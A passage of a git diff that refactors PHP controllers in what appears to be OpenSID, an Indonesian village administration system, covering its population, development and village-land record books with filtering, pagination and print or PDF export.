--- a/donjo-app/controllers/Bumindes_kegiatan_pembangunan.php +++ b/donjo-app/controllers/Bumindes_kegiatan_pembangunan.php @@ -1,649 +1,65 @@ -modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-pembangunan'; + + $this->order = [ + 1 => 'judul', + 2 => 'volume', + 3 => 'sumber_biaya_pemerintah', + 4 => 'sumber_biaya_provinsi', + 5 => 'sumber_biaya_kab_kota', + 6 => 'sumber_biaya_swadaya', + 7 => 'sumber_biaya_jumlah', + 11 => 'pelaksana_kegiatan', + 12 => 'keterangan', + ][$this->input->post('order[0][column]')]; + } +} diff --git a/donjo-app/controllers/Bumindes_penduduk_induk.php b/donjo-app/controllers/Bumindes_penduduk_induk.php index da8182424..a04606a23 100644 --- a/donjo-app/controllers/Bumindes_penduduk_induk.php +++ b/donjo-app/controllers/Bumindes_penduduk_induk.php @@ -1,601 +1,160 @@ -load->model(['pamong_model', 'penduduk_model']); + + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-penduduk'; + + $this->_set_page = ['10', '20', '50', '100', [0, 'Semua']]; + + // Samakan dengan donjo-app/controllers/Penduduk.php, karena memanggil penduduk_model + $this->_list_session = ['filter_tahun', 'filter_bulan', 'status_hanya_tetap', 'jenis_peristiwa', 'filter', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari', 'umur_min', 'umur_max', 'umurx', 'pekerjaan_id', 'status', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'judul_statistik', 'cacat', 'cara_kb_id', 'akta_kelahiran', 'status_ktp', 'id_asuransi', 'status_covid', 'bantuan_penduduk', 'log', 'warganegara', 'menahun', 'hubungan', 'golongan_darah', 'hamil', 'kumpulan_nik']; + } + + public function index($page_number = 1, $order_by = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + // Hanya menampilkan data status_dasar HIDUP, HILANG + $this->session->status_dasar = [1, 4]; + + // Menampilkan hanya status penduduk TETAP + $this->session->status_penduduk = 1; + + $list_data = $this->penduduk_model->list_data($order_by, $page_number); + $data = [ + 'main_content' => 'bumindes/penduduk/induk/content_induk', + 'subtitle' => 'Buku Induk Penduduk', + 'selected_nav' => 'induk', + 'page' => $page_number, + 'order_by' => $order_by, + 'cari' => $this->session->cari ?: '', + 'filter' => $this->session->filter ?: '', + 'bulan' => $this->session->filter_bulan, + 'tahun' => $this->session->filter_tahun, + 'func' => 'index', + 'set_page' => $this->_set_page, + 'main' => $list_data['main'], + 'paging' => $list_data['paging'], + 'list_tahun' => $this->penduduk_log_model->list_tahun(), + ]; + + $this->render('bumindes/penduduk/main', $data); + } + + private function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + } + + public function clear() + { + $this->clear_session(); + // Set default filter ke tahun dan bulan sekarang + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + redirect('bumindes_penduduk_induk'); + } + + public function ajax_cetak($page = 1, $o = 0, $aksi = '') + { + // pengaturan data untuk dialog cetak/unduh + $data = [ + 'o' => $o, + 'aksi' => $aksi, + 'form_action' => site_url("bumindes_penduduk_induk/cetak/{$page}/{$o}/{$aksi}"), + 'form_action_privasi' => site_url("bumindes_penduduk_induk/cetak/{$page}/{$o}/{$aksi}/1"), + 'isi' => 'bumindes/penduduk/induk/ajax_dialog_induk', + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($page = 1, $o = 0, $aksi = '', $privasi_nik = 0) + { + $data = [ + 'aksi' => $aksi, + 'config' => $this->header['desa'], + 'pamong_ttd' => Pamong::sekretarisDesa()->first(), + 'pamong_ketahui' => Pamong::kepalaDesa()->first(), + 'main' => $this->penduduk_model->list_data($o, $page)['main'], + 'bulan' => $this->session->filter_bulan, + 'tahun' => $this->session->filter_tahun, + 'tgl_cetak' => $_POST['tgl_cetak'], + 'privasi_nik' => $privasi_nik == 1 ? true : false, + 'file' => 'Buku Induk Kependudukan', + 'isi' => 'bumindes/penduduk/induk/content_induk_cetak', + 'letak_ttd' => ['2', '2', '9'], + ]; + $this->load->view('global/format_cetak', $data); + } + + public function autocomplete() + { + $data = $this->penduduk_model->autocomplete($this->input->post('cari')); + $this->output->set_content_type('application/json')->set_output(json_encode($data)); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('bumindes_penduduk_induk'); + } +} diff --git a/donjo-app/controllers/Bumindes_penduduk_ktpkk.php b/donjo-app/controllers/Bumindes_penduduk_ktpkk.php index 3c78ca20c..ed80dc98d 100644 --- a/donjo-app/controllers/Bumindes_penduduk_ktpkk.php +++ b/donjo-app/controllers/Bumindes_penduduk_ktpkk.php @@ -1,601 +1,159 @@ -load->model(['pamong_model', 'penduduk_model']); + + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-penduduk'; + + $this->_set_page = ['10', '20', '50', '100', [0, 'Semua']]; + $this->_list_session = ['filter_tahun', 'filter_bulan', 'filter', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari', 'umur_min', 'umur_max', 'umurx', 'pekerjaan_id', 'status', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'judul_statistik', 'cacat', 'cara_kb_id', 'akta_kelahiran', 'status_ktp', 'id_asuransi', 'status_covid', 'bantuan_penduduk', 'log', 'warganegara', 'menahun', 'hubungan', 'golongan_darah', 'hamil', 'kumpulan_nik']; + } + + public function index($page_number = 1, $order_by = 0) + { + // hanya menampilkan data status_dasar 1 (HIDUP) dan status_penduduk 1 (TETAP) + $this->session->status_dasar = 1; + $this->session->status_penduduk = 1; + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $list_data = $this->penduduk_model->list_data($order_by, $page_number); + $data = [ + 'main_content' => 'bumindes/penduduk/ktpkk/content_ktpkk', + 'subtitle' => 'Buku KTP dan KK', + 'selected_nav' => 'ktpkk', + 'p' => $page_number, + 'o' => $order_by, + 'cari' => (isset($this->session->cari)) ? $this->session->cari : '', + 'filter' => (isset($this->session->filter)) ? $this->session->filter : '', + 'per_page' => $this->session->per_page, + 'bulan' => (! isset($this->session->filter_bulan)) ?: $this->session->filter_bulan, + 'tahun' => (! isset($this->session->filter_tahun)) ?: $this->session->filter_tahun, + 'func' => 'index', + 'set_page' => $this->_set_page, + 'main' => $list_data['main'], + 'paging' => $list_data['paging'], + 'list_tahun' => $this->penduduk_log_model->list_tahun(), + ]; + + $this->render('bumindes/penduduk/main', $data); + } + + private function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->status_dasar = 1; // default status dasar = hidup + $this->session->per_page = $this->_set_page[0]; + } + + public function clear() + { + $this->clear_session(); + // Set default filter ke tahun dan bulan sekarang + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + redirect('bumindes_penduduk_ktpkk'); + } + + public function ajax_cetak($page = 1, $o = 0, $aksi = '') + { + $data = [ + 'o' => $o, + 'aksi' => $aksi, + 'form_action' => site_url("bumindes_penduduk_ktpkk/cetak/{$page}/{$o}/{$aksi}"), + 'form_action_privasi' => site_url("bumindes_penduduk_ktpkk/cetak/{$page}/{$o}/{$aksi}/1"), + 'isi' => 'bumindes/penduduk/ktpkk/ajax_cetak_ktpkk', + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($page = 1, $o = 0, $aksi = '', $privasi_nik = 0) + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['main'] = $this->penduduk_model->list_data($o, $page)['main']; + $data['config'] = $this->header['desa']; + $data['bulan'] = $this->session->filter_bulan ?: date('m'); + $data['tahun'] = $this->session->filter_tahun ?: date('Y'); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku KTP dan KK'; + $data['isi'] = 'bumindes/penduduk/ktpkk/content_ktpkk_cetak'; + $data['letak_ttd'] = ['2', '2', '9']; + + if ($privasi_nik == 1) { + $data['privasi_nik'] = true; + } + + $this->load->view('global/format_cetak', $data); + } + + public function autocomplete() + { + $data = $this->penduduk_model->autocomplete($this->input->post('cari')); + $this->output->set_content_type('application/json')->set_output(json_encode($data)); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + $this->session->filter_tahun = $this->input->post('filter_tahun') ?: date('Y'); + $this->session->filter_bulan = $this->input->post('filter_bulan') ?: date('m'); + redirect('bumindes_penduduk_ktpkk'); + } +} diff --git a/donjo-app/controllers/Bumindes_penduduk_mutasi.php b/donjo-app/controllers/Bumindes_penduduk_mutasi.php index 5d795d893..828584817 100644 --- a/donjo-app/controllers/Bumindes_penduduk_mutasi.php +++ b/donjo-app/controllers/Bumindes_penduduk_mutasi.php @@ -1,609 +1,157 @@ -load->model(['pamong_model', 'penduduk_model', 'penduduk_log_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-penduduk'; + $this->header['kategori'] = 'data_lengkap'; + $this->_set_page = ['10', '20', '50', '100']; + $this->_list_session = ['tgl_lengkap', 'filter_tahun', 'filter_bulan', 'filter', 'kode_peristiwa', 'status_dasar', 'cari', 'status', 'status_penduduk']; + } + + public function index($page_number = 1, $order_by = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + // Menampilkan hanya kode peristiwa + $this->session->kode_peristiwa = [2, 3, 5]; + // Menampilkan hanya status penduduk TETAP + $this->session->status_penduduk = 1; + + $data = [ + 'main_content' => 'bumindes/penduduk/mutasi/content_mutasi', + 'subtitle' => 'Buku Mutasi Penduduk Desa', + 'selected_nav' => 'mutasi', + 'p' => $page_number, + 'o' => $order_by, + 'cari' => $this->session->cari ? $this->session->cari : '', + 'filter' => $this->session->filter ? $this->session->filter : '', + 'per_page' => $this->session->per_page, + 'bulan' => $this->session->filter_bulan ? $this->session->filter_bulan : null, + 'tahun' => $this->session->filter_tahun ? $this->session->filter_tahun : null, + 'func' => 'index', + 'set_page' => $this->_set_page, + 'tgl_lengkap' => $this->setting->tgl_data_lengkap ? rev_tgl($this->setting->tgl_data_lengkap) : null, + 'tgl_lengkap_aktif' => $this->setting->tgl_data_lengkap_aktif, + 'paging' => $this->penduduk_log_model->paging($page_number), + 'tahun_lengkap' => (new DateTime($this->setting->tgl_data_lengkap))->format('Y'), + 'data_hapus' => $this->penduduk_log_model->list_data_hapus(), + ]; + + $data['main'] = $this->penduduk_log_model->list_data($order_by, $data['paging']->offset, $data['paging']->per_page); + + if ($data['tgl_lengkap']) { + $this->session->tgl_lengkap = $data['tgl_lengkap']; + } + + $this->render('bumindes/penduduk/main', $data); + } + + private function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + } + + public function clear() + { + $this->clear_session(); + // Set default filter ke tahun dan bulan sekarang + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + redirect('bumindes_penduduk_mutasi'); + } + + public function ajax_cetak($o = 0, $aksi = '') + { + // pengaturan data untuk dialog cetak/unduh + $data = [ + 'o' => $o, + 'aksi' => $aksi, + 'form_action' => site_url("bumindes_penduduk_mutasi/cetak/{$o}/{$aksi}"), + 'isi' => 'bumindes/penduduk/mutasi/ajax_dialog_mutasi', + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($o = 0, $aksi = '', $privasi_nik = 0) + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['bulan'] = $this->session->filter_bulan ?: date('m'); + $data['tahun'] = $this->session->filter_tahun ?: date('Y'); + $data['main'] = $this->penduduk_log_model->list_data($o); + $data['config'] = $this->header['desa']; + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku Mutasi Penduduk'; + $data['isi'] = 'bumindes/penduduk/mutasi/content_mutasi_cetak'; + $data['letak_ttd'] = ['1', '2', '8']; + + $this->load->view('global/format_cetak', $data); + } + + public function autocomplete() + { + $data = $this->penduduk_model->autocomplete($this->input->post('cari')); + $this->output->set_content_type('application/json')->set_output(json_encode($data)); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('bumindes_penduduk_mutasi'); + } +} diff --git a/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php b/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php index e8a37dd84..a651a4b43 100644 --- a/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php +++ b/donjo-app/controllers/Bumindes_penduduk_rekapitulasi.php @@ -1,657 +1,172 @@ -load->model(['pamong_model', 'penduduk_model', 'laporan_bulanan_model', 'laporan_sinkronisasi_model', 'wilayah_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-penduduk'; + $this->header['kategori'] = 'data_lengkap'; + $this->_set_page = ['10', '20', '50', '100']; + $this->_list_session = ['filter', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari', 'umur_min', 'umur_max', 'umurx', 'pekerjaan_id', 'status', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'judul_statistik', 'cacat', 'cara_kb_id', 'akta_kelahiran', 'status_ktp', 'id_asuransi', 'status_covid', 'bantuan_penduduk', 'log', 'warganegara', 'menahun', 'hubungan', 'golongan_darah', 'hamil', 'kumpulan_nik']; + } + + public function index($page_number = 1) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = [ + 'main_content' => 'bumindes/penduduk/rekapitulasi/content_rekapitulasi', + 'subtitle' => 'Buku Rekapitulasi Jumlah Penduduk', + 'selected_nav' => 'rekapitulasi', + 'p' => $page_number, + 'cari' => $this->session->cari ? $this->session->cari : '', + 'filter' => $this->session->filter ? $this->session->filter : '', + 'per_page' => $this->session->per_page, + 'bulan' => $this->session->filter_bulan ? $this->session->filter_bulan : null, + 'tahun' => $this->session->filter_tahun ? $this->session->filter_tahun : null, + 'func' => 'index', + 'set_page' => $this->_set_page, + 'tgl_lengkap' => $this->setting->tgl_data_lengkap ? rev_tgl($this->setting->tgl_data_lengkap) : null, + 'tgl_lengkap_aktif' => $this->setting->tgl_data_lengkap_aktif, + 'paging' => $this->laporan_bulanan_model->rekapitulasi_paging($page_number), + 'tahun_lengkap' => (new DateTime($this->setting->tgl_data_lengkap))->format('Y'), + ]; + + $data['main'] = $this->laporan_bulanan_model->rekapitulasi_list($data['paging']->offset, $data['paging']->per_page); + + $this->render('bumindes/penduduk/main', $data); + } + + private function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + } + + public function clear() + { + $this->clear_session(); + // Set default filter ke tahun dan bulan sekarang + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + redirect('bumindes_penduduk_rekapitulasi'); + } + + public function ajax_cetak($aksi = '') + { + $data = [ + 'aksi' => $aksi, + 'list_tahun' => $this->penduduk_log_model->list_tahun(), + 'form_action' => site_url("bumindes_penduduk_rekapitulasi/cetak/{$aksi}"), + 'isi' => 'bumindes/penduduk/rekapitulasi/ajax_dialog_rekapitulasi', + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['main'] = $this->laporan_bulanan_model->rekapitulasi_list(null, null); + $data['config'] = $this->header['desa']; + $data['bulan'] = $this->session->filter_bulan ?: date('m'); + $data['tahun'] = $this->session->filter_tahun ?: date('Y'); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku Rekapitulasi Jumlah Penduduk'; + $data['isi'] = 'bumindes/penduduk/rekapitulasi/content_rekapitulasi_cetak'; + $data['letak_ttd'] = ['1', '2', '28']; + + if ($aksi == 'pdf') { + $this->laporan_pdf($data); + } else { + $this->load->view('global/format_cetak', $data); + } + } + + private function laporan_pdf($data) + { + $nama_file = 'rekap_jumlah_penduduk_' . date('Y_m_d'); + $file = FCPATH . LOKASI_DOKUMEN . $nama_file; + $data = array_merge($data, ['width' => 400]); // lebar dalam mm + $laporan = $this->load->view('global/format_cetak', $data, true); + buat_pdf($laporan, $file, null, 'L', [200, 400]); // perlu berikan dimensi eksplisit dalam mm + + $where = [ + 'semester' => $this->session->filter_bulan, + 'tahun' => $this->session->filter_tahun, + ]; + + $lap_sinkron = [ + 'judul' => 'Rekap Jumlah Penduduk', + 'semester' => $this->session->filter_bulan, + 'tahun' => $this->session->filter_tahun, + 'nama_file' => $nama_file . '.pdf', + 'tipe' => 'laporan_penduduk', + ]; + $this->laporan_sinkronisasi_model->insert_or_update($where, $lap_sinkron); + } + + public function autocomplete() + { + $data = $this->wilayah_model->autocomplete($this->input->post('cari')); + $this->output->set_content_type('application/json')->set_output(json_encode($data)); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('bumindes_penduduk_rekapitulasi'); + } +} diff --git a/donjo-app/controllers/Bumindes_penduduk_sementara.php b/donjo-app/controllers/Bumindes_penduduk_sementara.php index 91d8b860d..5fd052925 100644 --- a/donjo-app/controllers/Bumindes_penduduk_sementara.php +++ b/donjo-app/controllers/Bumindes_penduduk_sementara.php @@ -1,633 +1,159 @@ -load->model(['pamong_model', 'penduduk_model']); + + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-penduduk'; + + $this->_set_page = ['10', '20', '50', '100']; + $this->_list_session = ['filter_tahun', 'filter_bulan', 'filter', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari', 'umur_min', 'umur_max', 'umurx', 'pekerjaan_id', 'status', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'judul_statistik', 'cacat', 'cara_kb_id', 'akta_kelahiran', 'status_ktp', 'id_asuransi', 'status_covid', 'bantuan_penduduk', 'log', 'warganegara', 'menahun', 'hubungan', 'golongan_darah', 'hamil', 'kumpulan_nik']; + } + + public function index($page_number = 1, $order_by = 0) + { + // hanya menampilkan data status_dasar 1 (Hidup) dan status_penduduk 2 (Tidak Tetap) + $this->session->status_dasar = [1, 6]; + $this->session->status_penduduk = 2; + + if ($this->input->post('per_page')) { + $this->session->per_page = $this->input->post('per_page'); + } + + $list_data = $this->penduduk_model->list_data($order_by, $page_number); + $data = [ + 'main_content' => 'bumindes/penduduk/sementara/content_sementara', + 'subtitle' => 'Buku Penduduk Sementara', + 'selected_nav' => 'sementara', + 'p' => $page_number, + 'o' => $order_by, + 'cari' => (isset($this->session->cari)) ? $this->session->cari : '', + 'filter' => (isset($this->session->filter)) ? $this->session->filter : '', + 'per_page' => $this->session->per_page, + 'bulan' => (! isset($this->session->filter_bulan)) ?: $this->session->filter_bulan, + 'tahun' => (! isset($this->session->filter_tahun)) ?: $this->session->filter_tahun, + 'func' => 'index', + 'set_page' => $this->_set_page, + 'paging' => $list_data['paging'], + 'list_tahun' => $this->penduduk_log_model->list_tahun(), + ]; + + $data['main'] = $list_data['main']; + + $this->render('bumindes/penduduk/main', $data); + } + + private function clear_session() + { + $this->session->unset_userdata($this->_list_session); + $this->session->status_dasar = 1; // default status dasar = hidup + $this->session->per_page = $this->_set_page[0]; + } + + public function clear() + { + $this->clear_session(); + // Set default filter ke tahun dan bulan sekarang + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + redirect('bumindes_penduduk_sementara'); + } + + public function ajax_cetak($o = 0, $aksi = '') + { + $data = [ + 'o' => $o, + 'aksi' => $aksi, + 'form_action' => site_url("bumindes_penduduk_sementara/cetak/{$o}/{$aksi}"), + 'form_action_privasi' => site_url("bumindes_penduduk_sementara/cetak/{$o}/{$aksi}/1"), + 'isi' => 'bumindes/penduduk/sementara/ajax_cetak_sementara', + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($o = 0, $aksi = '', $privasi_nik = 0) + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['main'] = $this->penduduk_model->list_data($o, 0); + $data['config'] = $this->header['desa']; + $data['bulan'] = $this->session->filter_bulan ?: date('m'); + $data['tahun'] = $this->session->filter_tahun ?: date('Y'); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku Penduduk Sementara'; + $data['isi'] = 'bumindes/penduduk/sementara/content_sementara_cetak'; + $data['letak_ttd'] = ['2', '2', '9']; + + if ($privasi_nik == 1) { + $data['privasi_nik'] = true; + } + + $this->load->view('global/format_cetak', $data); + } + + public function autocomplete() + { + $data = $this->penduduk_model->autocomplete($this->input->post('cari')); + $this->output->set_content_type('application/json')->set_output(json_encode($data)); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + $this->session->filter_tahun = $this->input->post('filter_tahun') ?: date('Y'); + $this->session->filter_bulan = $this->input->post('filter_bulan') ?: date('m'); + redirect('bumindes_penduduk_sementara'); + } +} diff --git a/donjo-app/controllers/Bumindes_rencana_pembangunan.php b/donjo-app/controllers/Bumindes_rencana_pembangunan.php index a29b95268..5538d60ee 100644 --- a/donjo-app/controllers/Bumindes_rencana_pembangunan.php +++ b/donjo-app/controllers/Bumindes_rencana_pembangunan.php @@ -1,641 +1,141 @@ -load->model('pembangunan_model', 'model'); + $this->load->model('pamong_model'); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-pembangunan'; + $this->model->set_tipe($this->tipe); + + $this->order = [ + 1 => 'judul', + 2 => 'alamat', + 3 => 'sumber_biaya_pemerintah', + 4 => 'sumber_biaya_provinsi', + 5 => 'sumber_biaya_kab_kota', + 6 => 'sumber_biaya_swadaya', + 7 => 'sumber_biaya_jumlah', + 8 => 'pelaksana_kegiatan', + 9 => 'manfaat', + 10 => 'keterangan', + ][$this->input->post('order[0][column]')]; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->order; + + $dir = $this->input->post('order[0][dir]'); + $tahun = $this->input->post('tahun'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->model->get_data()->count_all_results(), + 'recordsFiltered' => $this->model->get_data($search, $tahun)->count_all_results(), + 'data' => $this->model->get_data($search, $tahun)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $this->render('bumindes/pembangunan/main', [ + 'tipe' => ucwords($this->tipe), + 'list_tahun' => $this->model->list_filter_tahun(), + 'satuan_waktu' => SatuanWaktuEnum::all(), + 'selected_nav' => $this->tipe, + 'subtitle' => 'Buku ' . ucwords($this->tipe) . ' Pembangunan', + 'main_content' => 'bumindes/pembangunan/' . $this->tipe . '/index', + ]); + } + + public function dialog($aksi = '') + { + $data = [ + 'aksi' => $aksi, + 'form_action' => site_url('bumindes_' . $this->tipe . '_pembangunan/cetak/' . $aksi), + 'isi' => 'bumindes/pembangunan/ajax_dialog', + 'list_tahun' => $this->model->list_filter_tahun(), + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($aksi = '') + { + $tahun = $this->input->post('tahun'); + + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['main'] = $this->model->get_data('', $tahun)->get()->result(); + $data['config'] = $this->header['desa']; + if ($tahun == 'semua') { + $tahun_pembangunan = Pembangunan::selectRaw('MIN(CAST(tahun_anggaran AS CHAR)) as awal, MAX(CAST(tahun_anggaran AS CHAR)) as akhir ')->first(); + $data['tahun'] = ($tahun_pembangunan->awal == $tahun_pembangunan->akhir) ? $tahun_pembangunan->awal : "{$tahun_pembangunan->awal} - {$tahun_pembangunan->akhir}"; + } + $data['satuan_waktu'] = SatuanWaktuEnum::all(); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku ' . ucwords($this->tipe) . ' Kerja Pembangunan'; + $data['isi'] = 'bumindes/pembangunan/' . $this->tipe . '/cetak'; + $data['letak_ttd'] = ['1', '1', '3']; + + $this->load->view('global/format_cetak', $data); + } + + // Lainnya + public function lainnya($submenu) + { + $this->render('bumindes/pembangunan/main', [ + 'selected_nav' => $submenu, + 'main_content' => 'bumindes/pembangunan/content_rencana', + ]); + } +} diff --git a/donjo-app/controllers/Bumindes_tanah_desa.php b/donjo-app/controllers/Bumindes_tanah_desa.php index 69f4f00ff..72e2d6801 100644 --- a/donjo-app/controllers/Bumindes_tanah_desa.php +++ b/donjo-app/controllers/Bumindes_tanah_desa.php @@ -1,569 +1,168 @@ -load->model(['tanah_desa_model', 'pamong_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->tanah_desa_model::ORDER_ABLE[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + + return $this->output + ->set_content_type('application/json') + ->set_output(json_encode([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->tanah_desa_model->get_data()->count_all_results(), + 'recordsFiltered' => $this->tanah_desa_model->get_data($search)->count_all_results(), + 'data' => $this->tanah_desa_model->get_data($search)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ])); + } + + $this->render('bumindes/umum/main', [ + 'subtitle' => 'Buku Tanah di ' . ucwords($this->setting->sebutan_desa), + 'selected_nav' => 'tanah', + 'main_content' => 'bumindes/pembangunan/tanah_di_desa/content_tanah_di_desa', + ]); + } + + public function clear() + { + $this->session->filter_tahun = date('Y'); + $this->session->filter_bulan = date('m'); + + redirect('bumindes_tanah_desa'); + } + + public function view_tanah_desa($id) + { + $data = [ + 'main' => $this->tanah_desa_model->view_tanah_desa_by_id($id) ?? show_404(), + 'main_content' => 'bumindes/pembangunan/tanah_di_desa/form_tanah_di_desa', + 'subtitle' => 'Buku Tanah di Desa', + 'selected_nav' => 'tanah', + 'view_mark' => 1, + ]; + + $this->render('bumindes/umum/main', $data); + } + + public function form($id = '') + { + $this->redirect_hak_akses('u'); + if ($id) { + $data = [ + 'main' => $this->tanah_desa_model->view_tanah_desa_by_id($id) ?? show_404(), + 'form_action' => site_url("bumindes_tanah_desa/update_tanah_desa/{$id}"), + ]; + } else { + $data = [ + 'main' => null, + 'form_action' => site_url('bumindes_tanah_desa/add_tanah_desa'), + ]; + } + + $data['main_content'] = 'bumindes/pembangunan/tanah_di_desa/form_tanah_di_desa'; + $data['penduduk'] = $this->tanah_desa_model->list_penduduk(); + $data['subtitle'] = 'Buku Tanah di Desa'; + $data['selected_nav'] = 'tanah'; + $data['view_mark'] = 0; + + $this->render('bumindes/umum/main', $data); + } + + public function add_tanah_desa() + { + $this->redirect_hak_akses('u'); + $this->tanah_desa_model->add_tanah_desa(); + if ($this->session->success == -1) { + $this->session->dari_internal = true; + redirect('bumindes_tanah_desa/form'); + } else { + redirect('bumindes_tanah_desa/clear'); + } + } + + public function update_tanah_desa($id) + { + $this->redirect_hak_akses('u'); + $this->tanah_desa_model->update_tanah_desa(); + if ($this->session->success == -1) { + $this->session->dari_internal = true; + redirect("bumindes_tanah_desa/form/{$id}"); + } else { + redirect('bumindes_tanah_desa/clear'); + } + } + + public function delete_tanah_desa($id) + { + $this->redirect_hak_akses('h'); + $this->tanah_desa_model->delete_tanah_desa($id); + + redirect('bumindes_tanah_desa'); + } + + public function cetak_tanah_desa($aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['main'] = $this->tanah_desa_model->cetak_tanah_desa(); + $data['config'] = $this->header['desa']; + $data['bulan'] = $this->session->filter_bulan ?: date('m'); + $data['tahun'] = $this->session->filter_tahun ?: date('Y'); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku Tanah di Desa'; + $data['isi'] = 'bumindes/pembangunan/tanah_di_desa/tanah_di_desa_cetak'; + $data['letak_ttd'] = ['1', '1', '23']; + + $this->load->view('global/format_cetak', $data); + } +} diff --git a/donjo-app/controllers/Bumindes_tanah_kas_desa.php b/donjo-app/controllers/Bumindes_tanah_kas_desa.php index 69b1265d4..f005b6de9 100644 --- a/donjo-app/controllers/Bumindes_tanah_kas_desa.php +++ b/donjo-app/controllers/Bumindes_tanah_kas_desa.php @@ -1,601 +1,185 @@ -load->model(['tanah_kas_desa_model', 'pamong_model', 'data_persil_model']); + $this->controller = 'bumindes_tanah_kas_desa'; + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->tanah_kas_desa_model::ORDER_ABLE[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + + return $this->output + ->set_content_type('application/json') + ->set_output(json_encode([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->tanah_kas_desa_model->get_data()->count_all_results(), + 'recordsFiltered' => $this->tanah_kas_desa_model->get_data($search)->count_all_results(), + 'data' => $this->tanah_kas_desa_model->get_data($search)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ])); + } + + $this->render('bumindes/umum/main', [ + 'subtitle' => 'Buku Tanah Kas ' . ucwords($this->setting->sebutan_desa), + 'selected_nav' => 